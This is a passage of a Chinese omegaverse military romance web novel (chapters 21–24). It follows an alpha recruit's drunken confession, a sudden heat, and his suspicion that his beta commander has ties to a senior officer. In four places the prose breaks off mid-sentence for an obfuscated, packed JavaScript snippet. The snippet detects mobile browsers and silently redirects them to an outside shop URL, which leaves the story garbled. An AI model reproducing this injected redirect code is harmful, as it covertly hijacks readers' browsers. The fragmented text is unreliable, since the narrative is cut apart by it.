卫嘲风难以理解地看着倒在地上的邹允,失去意识的alpha的脸颊上浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177086|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现出两团明显的红晕,并有向各个方向蔓延的意思。 “又菜又爱玩,说的就是他。队里没人愿意陪他喝,他当然就赖上你这个新来的了。”beta女性面无表情地揭露了这个残酷的事实。 “啊……”卫嘲风欲言又止。 他也只是想尽量和将来要一起上战场的人搞好关系而已。 “不过你的酒量倒还不错。” 猝不及防的,大脑在这句不知能不能算夸奖的话语中感到一阵轻飘。 卫嘲风把邹允搬到了附近的一张空沙发上,回到吧台的时候,红巨星和柠檬红茶都已经做好了。 他隔着一个空位,和beta女性无言地坐在吧台前,对眼下的情形感到既兴奋又紧张。 现在,没有旁人的催促,他有足够的时间去慢慢品尝鸡尾酒的味道。 和清澈透亮的蓝巨星不同,红巨星看起来质感厚重,而且有些浑浊,淌过舌尖的时候能感到甜味,但在流入喉咙前却会变成微苦。 或许蓝巨星也有这种富于变化的口味,只是他喝得太快。 “第二定律……怎么办?”他假借关心那杯气泡酒的名义侧过头去,让视野能同时包含无人问津的酒杯和沉默的女性。 她将左侧的头发夹到了耳后,完整地露出凌厉干净的下颌线。 从他的角度,能够看见她曾经受过伤的眼睛正转向这里。 “你能喝的话,就喝掉吧。”beta女性说。 “长官不喝酒吗?” “我的酒量和邹允相比好不了多少。” “那……要不要,也尝尝味道呢?剩下的,我可以喝掉。” 卫嘲风感到自己的心脏正怦怦乱跳,但大脑无法切实地分析出发声器官刚才究竟集体演奏了怎样的话语。 Beta女性伸出左手,轻巧地用指尖撑起酒杯,凑到唇边,抿了一口,然后又不紧不慢地把酒杯放回原位,“那就交给你了。味道不错。” 卫嘲风的心情突然阳光起来,他将那只杯子带到自己面前,拇指和食指抵住刚才被另一个人触过的地方,将酒杯缓缓抬起,在正式品尝之前,又将它放回桌面。 他转过头,不再依靠酒杯的掩护,而是肆无忌惮地观察着角落里的女性。 出门前,她换掉了在宿舍穿的T恤,换了一件无袖无肩的背心,外面搭着运动外套。 背心的吊带环绕脖颈,胸前的衣片完整地覆盖了锁骨中心的区域,只能看出锁骨的形状。 她没有将那枚玉佩戴在身上。 这种细节没能阻挡已经开始受到酒精影响的alpha男性,他盯着长官凸起的骨头,不知廉耻地问道:“在宿舍的时候,长官,戴着的玉佩,怎么,没有了?” 好像有点大舌头了。 Beta女性一点也没有被动摇,淡淡答道:“和今天的衣服不搭,就摘掉了。” “我,也有,一样的。” “我看见过。” “长官,和我,戴,一样的玉佩。是不是……是不是,喜欢我?” 21. juicy的渴欲 喜欢我…… 最后那三个字的音量被压低到了一个不可思议的地步。 说完,青年像是为了掩饰尴尬一般,迅速地灌了自己一口。 鸡尾酒的回味不知为何从苦变成了辣,那热辣而甜美的味道在他的喉管中不断向四肢百骸延展开去…… 等到那些向四面八方散开的灵魂碎片重新聚集到一起的时候,已经是第二天的上午了。 脑袋只在刚刚醒来的时候感到了一阵疼痛,但是喝完床头柜上的那杯茶水之后,一切就都好转起来,以至于他差点就忘了昨天发生的事。 先是去了五公里外的一家公路酒吧喝酒。 邹允喝了一杯就醉了。 而他喝了三杯……或者两杯。 至于其他还发生了什么,他就不太清楚了。 鉴于他全须全尾地回到了宿舍,就说明昨夜的醉酒并未对他们的归巢造成什么麻烦。 刷牙的过程中,他又突然想起一同前去的人里还有那位曾经对他犯下不可饶恕的罪行的beta长官。 毫无疑问,他在今天早上之所以能平安地醒转过来,必然有她无法磨灭的功劳。 这一认知让青年感到非常不安。 他决定将这种不安转化为学习的动力,继续复习昨天没有看完的机械原理。 除此之外,还有气动、飞控方面的更加专业的知识需要钻研…… 如果有余力,就要再加上结构、武器乃至电子方面的知识补充。 在心无旁骛地进行了一个钟头的持续学习之后,他在书本的例图中看到了眼熟的结构,并因此短暂地分了神,开始思考自己是否曾经在哪里见过这个结构的实物。 结果是——他在改装REDWIND的时候亲自接触过这个设计。 当时只觉得这一处改动十分巧妙,完全是可以被载入教科书中当做范本的例子,没想到原来出处就是教科书。 照本宣科而已。 “看来也没有那么厉害嘛……”他忍不住嘀咕了一句。 直到耳朵听到自己说了什么,才意识到自己“嘲讽”的对象是那位beta长官。 其实她也不是那么厉害的人物,只是把课本上的知识掌握得很好罢了。 她也不像外表那样冷若冰霜,除了很少露出笑脸之外,其实也可以和同僚或战友相处得很好。 卫嘲风实在不理解自己为什么会把她当成那种高不可攀的存在。 对了,昨天都说了什么? 好像提到了玉佩的事。 那枚玉佩,她挂在脖子上的那枚玉佩,究竟是从哪里来的? “你是不是喜欢我?” 这个问题他是否得到了答案。 不,或者说他真的问出口了吗? 脑中虽然依稀存有关于那个场景的记忆,但一切都在这个问句之后戛然而止。 而且就算保存着记忆,也不能说明事情真正发生过。 那也可能是他的梦境,不然记忆怎么会中断得如此恰到好处? 可还是很在意。 在意自己究竟有没有说出口。 遗憾的是就算再好奇,也无法提起勇气,去当着beta长官的面把事情问个明白。 这个问题,以及这个问题的答案,就这么成了一个无解之谜。 在宿舍看了一天书,到天色开始变化,卫嘲风才准备去食堂吃点东西。 刚一出门,看到斜对面的房间也有人出来,四目相对,某人眼睛一亮。 “卫嘲风,你来得正好!”邹允那虚弱的脸上突然浮现出一抹喜色,如果不是卫嘲风闪躲及时,恐怕又要被他勾肩搭背。 “前辈,你看起来状态不对。” “哈……宿醉而已!已经差不多好了。正想去食堂觅食呢,身上还是有点乏力,要不你帮我打一份回来?” 邹允晃悠悠地从裤子口袋里摸出一张卡片,强硬地塞进后辈手中:“你今天的晚餐,我承包了,好好吃一顿。如果有牛肉饼的话,记得一定要给我加上。” 说完,他就像被毒蛇盯上的沙鼠一样,嗖的一下躲进了自己的房间,将门关得严严实实。 卫嘲风在原地愣了一会儿,决定按原计划出发前往食堂。 现在是吃午餐显然已经太晚,吃晚饭又有点过早的时候,加上周末喜欢去食堂的人本就不多,显得这偌大的餐厅空空荡荡。 他看了一眼各个窗口的菜色,走向写着牛肉饼的那一栏,点好自己要吃的东西之后,替邹允打包了一份同样的,然后毫不客气地刷了被硬塞的那张卡。 “检测到非本人使用,请输入交易密码。” 刷卡机用略带讥讽的语气提示道。 打饭的大叔脸上立刻露出了狐疑的表情,那样子仿佛在质问:“你这张卡是捡来的吧?” 更严重的情况,则是把捡改成偷。 卫嘲风愣在原地,感到如芒在背,即使现在换上自己的卡,也洗脱不了擅自使用别人卡片的嫌疑,反倒像坐实了罪状。 这时候,有人走到他身边,在刷卡机上按了几个数字。 这可恶的机器便立刻松了口,老实地刷掉了屏幕上显示的数额。 “我的错,忘记告诉他密码了。” 清冷的女声,简直比刷卡机的机械音更加缺乏感情。 打饭大叔的脸顿时变得阳光灿烂:“哎呀,是朱厌上校啊!这么说来,这小子就是之前大家说的那个,从后勤调来的新人?蛮好一小伙。他现在在你手底下啊?” “他在后勤的时候就是我手下。” “不错,清澈,俊俏。” “嗯。” 一个嗯字让卫嘲风脸上一阵发热。 也说不清自己是在害羞还是高兴。 一般来说应该是后者。 但哪会有人因为单纯的高兴就脸红呢? 但要是前者,他又为什么会害羞? 从小到大,都不记得有多少人夸自己俊俏了,这已经成了理所当然的事情。 就在他发愣的当口,beta女性已经打好了饭,从刷卡机上拿走了卡片——她也刷了邹允的那张卡。 卫嘲风不假思索地跟在她后面找了个座位:“那个……饭卡。” Beta女性没有多说什么,将卡片放在桌面上,推到他眼下,“为什么用这种眼神看着我?昨天的酒钱是我出的。邹允那家伙可欠我不止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204409|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿饭钱。” 卫嘲风借摆弄餐具来缓解尴尬,“长官为什么知道密码?” “他也让我带过饭。和那家伙出去喝酒,不仅要负责在当天夜里把他弄回家,还要负责他第二天的伙食,麻烦得要命。” “长官和邹允前辈……关系好像,很好的样子。” “怎么,这很奇怪?难道说你觉得像我这样的人不可能有朋友?” 浅灰色的眼睛忽然充满了压迫感。 卫嘲风想说是的,但说不出口。 那真的是朋友吗,还是别的什么? 您身后的那些关系,真是有够混乱的。 不,是他僭越了。 他叉起牛肉饼,狠狠咬了一口,被包裹在肉里面的汤汁迸了一脸。 从刚才起就在发烫的脸持续升温。 接着,连身体都开始发热了。 一种陌生又熟悉的感觉正在向全身蔓延。 手臂,指尖,胸腹,大腿,脚趾…… 大脑仿佛被病毒入侵,失去了对肢体的调节和掌控能力。 整个白天都没有进食,但眼前的食物却并不诱人。 他对另一种东西感到饥渴。 “你怎么了?” 尚存的理智能判断出这个声音一如既往地冷淡,但被激素影响的中央处理器却认为这句话充满了柔情蜜意。 于是那丝仅存的理智不得不大声叫喊:错觉,全部都是错觉! “渴……”嘴巴艰难地嚅动了一下,发出干涸的音节。 身体不再是有机质的集合,而是一座火山。 发生在地核的微小震颤在一次次的传导中变得如滔天巨浪般猛烈,地幔的岩浆烧热了连接着大脑的每一条神经。 他要引起一场大地震,一场沸烈的喷发! ——又发热了。 Alpha男性迷迷糊糊地意识到。 这果然不是轻易能够承受的灾难,究竟是有多不知天高地厚才敢说想要试着硬扛? 他一直都有按时服用抑制剂,即使在休假的时候也不会中断。 但这已经是第二次了! 科学没能克服本能,药物没有压制住原始的生理冲动,他又一次将自己狼狈的样子展现在这个beta女性的面前。 可到底什么才是本能? 整个前线基地都找不出一个omega,他所受到的刺激究竟从何而来? 是眼前这个人吗? 一个beta? 这合理吗? 哈…… 对面传来一声细微的气流的声音,是大失所望的叹息,是讥讽和嘲笑,还是……错觉? 没有办法辨别。 大脑的算力已经不足以支付胡思乱想的代价。 禁锢住四肢和躯干就要花费近乎全部的精力。 颌骨突然被人捏住,下巴被抬了起来。 嘴唇不由自主地打开,清凉的液体被直接灌进了喉咙里,一部分滑去了气管,并在几毫秒之后引起了剧烈的咳嗽。 身体的异状在疯狂咳嗽的同时渐渐地消退了。 数百上千度的灼热岩浆,居然只要一股细小的清泉就能浇灭。 22. 耐心 不知过了多久,大脑终于能够正常运作。 感官开始接受外界信息,模糊的视界对焦在一张冷淡的脸上。 “好点了吗?” 卫嘲风茫然地点了点头。 右手正好端端地拿着餐具,左手稳当当地扶着餐盘,火山爆发的征兆仿佛只是他独自一人的谵妄,不期而至的发热似乎只是他不经意间的臆想。 他从餐桌角落的木制盒子里抽了一张纸巾,清理了一下被肉汁弄得一塌糊涂的脸,就在这个时候,他看到了被丢在桌面上的只有一支口红那么大的长方体纸盒。 那是每一个alpha都不会感到陌生的东西。 也就是,抑制剂。 原本已经消散的热量重新在脸上聚集起来,让人感到无地自容,百口莫辩。 “没事了就赶紧吃饭吧。”beta女性若无其事地说道,而她也确实像是什么都没有发生过似的平静地享用着碗中的食物。 卫嘲风没有自取其辱地在药品包装盒上寻找话题,默默地处决那块已经失去部分汁水的肉饼。 在犹如三个钟头般漫长的三分钟后,beta女性被一通电话给叫走了。 那时候卫嘲风也差不多把餐盘里的食物给吃完,因此可以说那通电话来的时机真是不巧,不然他可以顺理成章地和长官一同离开食堂,而非像现在这样,刻意守着空盘等上一会儿,直到那位女性的身影完全消失在食堂大厅。 在这短暂的几十秒的时间里,一个灵感迸发的疑问陡然直击青年的灵魂。 抑制剂之于beta就像洁厕灵之于老鼠一样,总之是完全没有意义的存在。 她是出于什么理由随身带着这玩意儿的? 他几乎是自然而然地想到了某个已故之人。 因为曾经和alpha交往过,所以养成了随身携带抑制剂的习惯,即使恋人已经不在人世,热恋时的习惯依然被保留了下来。 ——这种猜测不能说不合情理,简直就像确有其事。 不过就是谈了一段不太正常的恋爱,居然就染上了这种莫名其妙的恶习,爱情真是让人感到毛骨悚然。 不是吗? 出门的时候居然不忘为一个死人准备抑制剂,听起来就有够变态的。 卫嘲风如梦方醒。 近来发生的一些事情太具迷惑性了,他差点忘了那个女人本来就是一个变态。 一个以梦想为要挟骗男人上床的变态beta! 变态! 这样想着,手却不知不觉地伸向了药品包装盒,回过神来的时候,印有生产信息的纸盒已经出现在眼皮底下,从主要配料到生产代码的一系列必要资料赫然在目。 生产日期证明,该药品生产于一个月内。 于是beta女性在无意中蒙受的冤屈得到了洗刷。 如果这是为她死去的前男友准备的东西,那生产日期应该要早很多,至少应该在那家伙的死期之前,因为后面已经没有补充的必要了,鬼魂又不会消耗这些实际的商品,除非她喜欢用这东西祭奠亡者——那就是另一种层面的变态了。 卫嘲风鬼使神差地将那个小巧的纸药盒收了起来。 回到宿舍楼,他先把打包回来的食物送到了邹允的房间,并且得到了对方过分热烈的感谢和一件充满诚意的回馈品。 “宿醉的日子最好多补一支,虽然你好像没有醉得很厉害,但以防万一。”板刷头将一提未开封的抑制剂塞进后辈的怀里,“今天没有发生什么异常吧?看不出来,你小子酒量真不错。” 这句夸奖让卫嘲风感到受之有愧,他也只不过多喝了一杯或是两杯而已——总结来说就是他能保持清醒的酒量其实不超过三杯鸡尾酒。 但邹允的话还有其他令人在意的地方。 “以、以防什么万一?” “看来你以前不怎么喝酒?” “啊,唔。” 其实昨天是第一次。 “是这样的啦,对有些人来说,酒精会中和掉抑制剂的效力,在宿醉的时候不补充抑制剂的话,搞不好就会引起意料之外的发热。你真的没事吗?” “嗯,还好。” 其实已经发过热了。 “真让人羡慕啊,酒量好的家伙。”板刷头冲着后辈的肩窝来了一拳。 返回自己房间的时候,卫嘲风已经没有心思再去研究什么气动和飞控方面的问题了,他脑袋里有了新的课题。 那支抑制剂就是特意为他准备的。 作为长期负责队友醉酒后各项事宜的应对者,那个人必然知道酒精对激素抑制效果的破坏,所以才会带着抑制剂出现在食堂。 回想起来,在食堂相遇本就过于巧合,没准就是她悉心安排好的。 一切都说得通。 成对的玉佩,千钧一发的抑制剂。 现在,他已经手握两个证据,用以证明那个人的确喜欢自己! 虽然他不认为能够接受一名beta成为自己的伴侣,但被人喜欢的感觉绝对不赖,尤其是那家伙在各方各面都优秀得吓人。 他不免要考虑一番,总体来说平平无奇的自己究竟在什么地方引起了那个人的注意。 长相?身材?性格? 能纳入考虑范围的似乎也就只有这么几个要素。 又或者说,是蓝远山口中的“没有道理的喜欢”? 况且,如果自己真的成了那个人移情别恋的对象,那曾经与她相知相爱过的辛冽又成了什么? 一段生死之恋都能被轻易忘记的话,只能说那人用情不够专一。 一个见异思迁的爱慕者,才不值得让他腾出这么多算力来对付。 爱怎么样就怎么样吧!!! * 和新一周一同到来的是一批通过特别遴选来到STELAR的年轻士兵。 其中一些是从军校提前毕业的学生,有的则是通过考核的后勤人员,遴选人数已经远远超过了“补充人员损耗”的规模,可以看出军部上层确有扩张战场队伍的决心。 和48号A级群落的战争明明就以大获全胜告终,军队却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220799|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在战后紧锣密鼓地增加战斗人员,这种不合常理的做法让人隐隐感到不安。 “不久之后大概又会有一场大战吧。” “说不定只是为了有备无患,我们也不要瞎担心了。” “但是扩招人员的质量也很让人担忧,就是因为当初没有通过考核才被分去LOGIS的,现在的实力应该更加退步了吧。” “LOGIS偶尔也会出现人才的啦,你看新来的小伙子不就很优秀吗?” “也是。” 接送的车辆正好在士兵们讨论相关话题的时候驶入营地,停在训练场地外围的车位上。 还没有得到前线统一服装的准队员们从车上鱼贯而下,无一例外,全部都是alpha。 卫嘲风听到身后有人啧了一声,还来不及去探究这微妙地带有讽刺意味的声响到底有何用意,就在下车的人群中看到了几张熟悉的脸孔。 邹允不知从哪里弄来了一些关于扩招的小道消息,所谓的特别遴选根本就不存在,只要符合“alpha”、“身体健康”、“有战斗意向”这三个条件,基本上就可以通过选拔。 这让卫嘲风膈应了好久。 早知道事情会变成这样,他就没必要在两个多月以前委曲求全。 STELAR的一举扩招,让他自小便视之神圣的梦想变得廉价起来,也让他为此付出的代价变得多余。 “要是当时我再多点耐心就好了。” 他就是因为太过心急,才会刚入伍一个月就提出调动的申请。 哪怕他老老实实等到轮岗全部结束…… 邹允不清楚其中细节,但还是爽朗地捏了捏他的肱二头肌:“干嘛一副吃了大亏的表情?” 因为确实吃了大亏。 卫嘲风没把这话说出口。 “那些人的编制是STELAR而不是ECHO,只是暂借第一战列的营地接受训练。”邹允凑到他耳边,压低了声音说,“他们唯一的长处也就只有性别了。” 卫嘲风吓了一跳,猛地咳嗽起来,但很快就恢复如常,装作无事发生的样子。 邹允撤回到正常的社交距离,继续说下去:“因为之前的战备往来,我和那些人也有过几次接触。哈……真是一群让人不想承认和他们是同性的生物呢。” 卫嘲风想起在下车的队列中看到的几张脸,不由得认同地点了点头。 LOGIS那些让人绝对不愿与之为伍的alpha们。 基因的受害者。 来到STELAR,或许会给他们带来一点好的变化。 “你还不知道吧,刚刚结束的大战里,你可是立了大功的。”板刷头突然换了一个话题。 卫嘲风迷迷糊糊地点了点头:“中尉跟我说过,拦截了一支准备通风报信的斥候队伍什么的。不过清扫斥候的事情,不是大家都在做吗?” 邹允眨了眨眼睛:“咦,上校没告诉吗?你对付的那支小队可不简单,根据研究局的解剖结果,它们并不属于48号群落,放跑它们绝对大事不妙!” 23. 顶级的alpha “不属于48号群落吗?”卫嘲风断断续续地想起当时的战况。 那些家伙确实和战场上遇到的其他虫族不同。 “恐怕是48号群落的宗主群落下派到这里的‘特使’,专职在两个群落之间传递消息。总之最终没有惊动背后的S级群落,当然是大功一件。” “等一等,前辈……”卫嘲风猛地扯住了邹允正拍得啪啪作响的手,“那些斥候来自S级群落?” “所以智能和武力水平都相当高呢。” “如果它们一直没有返回,难道就不会引起群落首领的怀疑?” 邹允脸上的笑容凝固了一会儿。他伸手摸了摸那些板刷毛似的头发,神情严肃地说道:“没错,以S级群落的智能水平来说,不怀疑才怪!” “会向我们开战吗?现在军队进行扩招,就是在准备之后有可能发生的另一场大战?” 新队员们来到营地的那天,就有人说过类似的话了。 邹允的身体突然像泄了气的皮球一样放松下来,但很快就又恢复了活力:“立功的机会又来了!不管是什么敌人,我都要把它们打得屁滚尿流!” 新来的STELAR队员和ECHO第一战列的成员在训练场上交集不多,但在食堂和宿舍楼抬头不见低头见,偶尔会发生一些龃龉,好在基本上都是口头摩擦。 队内私斗是严重的违纪行为,久居前线的老兵们深知此事,况且他们的激素水平大体都很稳定,基本可以避免被不怀好意的挑衅者带到沟里。 想要挑事的人因此逐渐老实起来,但始终贼心不死。 卫嘲风在宿舍洗衣房等待衣物烘干的时候,就遭到过他们的挖苦。 他们压低声音,或者说假装压低声音——证据是即使有好几台机器同时运作,发出频率不一的嗡嗡声,也没能压住那些装腔作势的谈话声。 “没想到这小子竟然会被提拔到ECHO,这还真是‘士别三日’呢。” “听说他家和军队上层有关系,好像是指挥部哪个高级将领的亲戚。” “原来如此,原来如此。我那时候还在想,这家伙成绩和能力都很一般,怎么就突然撞了大运,家里有人那就是另一回事了啊。” “有人说他其实是元帅的私生子。LOGIS的那个beta不是和元帅有一腿吗,所以就被拜托要多多关照那小子。” “怪不得我总觉得那小子和长官之间好像有什么。” “嗯哼……” 或许是由于说话的内容尽是一些无稽之谈,又或许是在对这些人感到厌恶的同时又怀有一丝同情,卫嘲风没觉得有多生气,反而感到一阵心虚。 拜托,身为堂堂男性alpha,却聚在这里嚼舌根,这种事情真的很没品好吗? 烘干机发出尖锐的鸣叫。 卫嘲风冷着一张脸将机器里的干燥衣物捞进筐子里,准备赶紧离开这个嘈杂的地方。 多嘴多舌的alpha们倒是没有拦着,只是其中一个人在卫嘲风后脚迈出洗衣房大门的时候大声说了一句:“喂,和beta上床就算了,可别告诉我们你是下面的那个!” 剩下的人都忍不住笑出了声,发出了鸭子一样的叫声,听起来十分刺耳。 卫嘲风对他们不予理会,快步消失在这些人的视野之中。 * 星期三,按照惯例进行体能训练。 卫嘲风觉察到自己的耐力和军校时期相比明显下降了一点,急于把退步的部分补上,因此在训练时格外用心。 邹允说他在进行那些重复性动作的时候一板一眼得像个机器人。 “身体太紧张的话,会对训练效果造成负面影响的。” “下次开始训练之前,我会多补几组准备动作。” “我觉得听几个笑话说不定更有用。” 卫嘲风心里不太愿意承认,这种紧张感的源头正是那个人。 她排在后方视野很好的位置上,所以他总是担心自己的错漏之处会被她抓到,总想做到最好,但结果好像弄巧成拙。 邹允说僵硬的姿势很不好看。 “感觉你的柔韧性并不差,为什么做动作会这么微妙呢?” “柔、柔韧性??” 这不过是身体素质指标中再寻常不过的一个项目,但不知为何,卫嘲风听着却觉得很不自在。 他联想到了一些不健康的东西。 明明他早就已经过了万事万物皆可废料化的年纪,为什么还会产生如此幼稚,甚至可以说是弱智的想法。 “那家伙的身体可以折成很夸张的角度呢。”——那个人绝不可能在邹允面前说这种话。她绝对不会把这种事当做谈资。 “这有什么难的?看你平时走路的姿态,还有搏击练习时的动作就能判断个大概了。再说了,平时勾肩搭背也不是白搭的。” 邹允的回答让人松了一口气。 卫嘲风在两组动作的间隔时间看了一眼后排,beta女性在一群人高马大的alpha之间格外扎眼,她正在和一名女性alpha进行配合练习,动作默契得就像是同一颗大脑在下达指令。 “她们是老搭档了吗?” “你说谁?” 卫嘲风对自己多余的提问感到窘迫,摇了摇头:“没什么。” 但此时邹允已经了然,“你说上校和艾琳娜?才不是呢,在你入队之前,上校的搭档可是我。” “她们配合得很好……呃,比我们好多了。” “大概因为我们是同性吧。” “和这有什么关系吗?” “Alpha男性喜欢自作主张,说得好听点是自我意识强,说得难听点就是没有同理心——这可不是刻板印象。配合总是以妥协为前提的,而妥协是alpha最不喜欢干的事。” “你是说beta是更加容易妥协的性别?” “或者说是比较擅长体恤别人吧。” 下一组动作开始的时候,卫嘲风的心态放松了不少,就连邹允也忍不住夸他突然开窍。 他有些期待地再次看向后排,却发现那里只剩下了名为艾琳娜的alpha女性独自训练的身影。 有什么事能让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228673|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人在训练期间中途离场呢?难道是身体不舒服吗? 剩下的训练不知为何变得索然无味起来。 日程结束,士兵和军官们陆续离场,卫嘲风也退到了场外,收拾了东西,准备去食堂吃饭,但是心里无论如何都对那个人突然离场的事情感到在意,便决定留下来在训练场周围走上几圈。 在走到场地另一头的围墙转角处时,他听到从前方传来说话的声音。 “您放心,我会照顾好他的。” 这是他熟悉的声音,但和他平时听到的语气却有略微的不同。 “哎……”一声有点沉重的叹息,“你自己也要小心。” “我会的。” “如果有需要帮助的地方——” “我会尽量自己处理好的。” 卫嘲风不知从哪里来的勇气,屏着呼吸,从墙角探出头,窥探了一眼。 他没有看到预想中的beta女性的身影,只看到了穿着军装的高大的男性背影。 那只是一个背影而已。 却有着无法用语言形容的顶级alpha的压迫感。 就像从军帽下面露出来的整齐的、掺杂着几缕银白色的头发,明明出于主观意志进行了收敛,却还是没有死角地渗透了出来。 尽管如此,他的语气却是温柔的,温柔到让人感到无语的暧昧。 “视力,没有继续恶化吧?” “嗯,应该已经完全稳定下来了。” “那就好。你要是离开军队的话,一定会影响到士气的。” “哪有那么严重。话说回来,您对他有什么额外的期待吗?” “活下来。活下来就行了。不然我也不会特意把他送到LOGIS。” “LOGIS对alpha来说不是一个好地方。您也注意到了吧?否则像您这样固执的人,怎么会轻易改变已经做出的决定?” “呵。” “时间不早了,您该回去了。” “就这么不想和我呆在一起吗?” “您这说的是什么话?我本来就没有和您呆在一起的理由。您这样贸然过来,还堂而皇之地穿着制服,是一点都不怕被人发现吗?” “被发现了又怎么样?我只是来视察一下战列的训练情况而已。” “被说闲话可不是一件让人愉快的事。” “有人说你闲话?” “哈……算了,当我什么都没说。” 话题的走向似乎变成了调侃和闲聊。 卫嘲风的大脑却在这越来越没有头绪的一言一语中变得混乱不堪。 这是什么情况? 虽然没有看到人影,但那个声音无疑是他的beta上司,而背对着站在那里的男人,光是看制服的背面就能辨认出是在军队中拥有极高军衔的大人物。 是将官级别。 不,甚至有可能更高…… 那些传闻是真的?名为朱厌的beta女性真的和军队上层有着说不清道不明的关系? 甚至……自己的调动,也和这种关系有所牵连? 24. 失望 “怎么了,你的脸色看起来不是很好。最近太累了吗?” “也许?” “不要把自己逼得太紧了。不如什么时候一起去喝一杯?你的酒量没有退步吧?” “您真是一点都不考虑我的立场呢。我现在不喝酒了,伤身体。您最好也少喝一点。” Beta女性的声音听起来确实有一点虚弱,她的身体完完全全被那个男性alpha挡住了,斜在地面上的影子摇晃了一下,alpha立刻伸手扶了她一把,动作十分自然,而且两个人都没有避讳的样子。 “真的没事吗?去医院看看吧?如果真的有什么状况,就趁这个机会休个长假,你也很久没有休息过了。” “每个双休日我可都有努力休息呢。行了,您真的该走了,如果您真的关心我的身体状况,就不该耽误我吃晚饭的时间。” “你说话还是那么刻薄。那好吧,我先走了。” 卫嘲风立刻把脑袋缩了回来,不出声响地离开了墙角。 墙的另一侧,高级皮鞋和地面发出的碰撞声清脆地、有节奏地响了起来。 和他乱七八糟的心律形成了鲜明的对比。 刚才听到的看到的一切,要不是幻觉,就是逼真的海市蜃楼,或者说是别的什么超自然现象,总不可能是真的吧? 那可是他的亲眼所见,亲耳所闻,怎么可能会是假的呢? 他发现自己简直是世界上最可笑的存在。 他不过是在别人的棋盘上跳舞的小丑,会把本该下到交点上的棋子下到格子里的笨蛋。 被丢到LOGIS就是那个男人动的手脚,被直接提拔到ECHO第一战列也是因为得到了那个男人的应允。 那个男人究竟是谁,凭什么对他的人生指指点点?! 想到这里,心脏就像被人揪住了一样,羞愤、懊恼,以及大量的难以明辨的情绪排山倒海而来,要将他从头到脚吞没。 一口气跑回宿舍,跑进自己的房间,扑到床上,将脑袋埋在枕头里。 好惭愧,好屈辱,好想从世界上消失。 * 晚上,邹允过来看他,还带了一盒青椒肉丝和一份米饭。 把米饭送到嘴里的时候,他才觉得肚子确实饿了。 “怎么可能不饿,也不想想训练的消耗有多大!” “我耐力很好的。” “别瞎吹你的那点能耐。不补充蛋白质的话,肌肉可就要离你而去了。” 卫嘲风夹了一筷子肉丝。 食堂给的分量很大方,肉丝比青椒还多。 “前辈怎么知道我没有吃晚饭?” “哦,我在食堂碰见上校,她说的,大概是在食堂里没看到你人吧,就让我给你带份饭。我还欠她酒钱嘛,就跑了这趟腿。当然,也是因为我很关怀后辈啦。好吃吗?” 就是普通的青椒肉丝的味道。 只是肉丝太多了。 “前辈……长官会喝酒吗?” “长、长官?你说上校吗?是啊,她可是那种放倒一整桌人之后还能把所有人平平安安送回宿舍的酒神耶。也不知道上回在矜持什么!?” 为什么那时候她要骗他说自己酒量不好呢? 难道说欺骗他就是一件那么有趣的事吗? “干嘛突然问这个?上回没和她拼上,下回再约过呗。” 卫嘲风失魂落魄地把青椒肉丝和白米饭吃得一干二净,干净到两只打包盒稍微用水冲冲就能重复利用的地步。 邹允因此把他夸了一通,说他是珍惜粮食的标兵。 夜里,卫嘲风躺在床上,想着白天看到的情形,本以为会失眠到天亮,没想到很快就睡着了,第二天早上要是没有闹铃的话说不定还会迟到。 指挥中心调高了前线的备战等级,接下去会减少日常训练的比例,提升实战技能的练习,ECHO方面加强了上机演练。空出来的场地刚好让给新来的STELAR候补。 这突如其来的调整让人切实地闻到了一股战争的气息。 虽然同属于第一战列,但并非每个人都能成为驱动者,一方面是因为目前机甲储备依然不足,另一方面,一支完整的战斗编队内有各种战略位置,所有人都驾驶BOS的话,难免有无法顾及的细节。 按照平时训练成绩的综合排名,卫嘲风被分到了候补侧卫的位置上,驾驶被称为蝙蝠的侧卫战机,担任战场外野的游击手。 在攻坚队伍给力的情况下,候补侧卫可以说是一个连汤也喝不上的部署。 他希望能得到更加前排的位置,但也只是在心里想想。 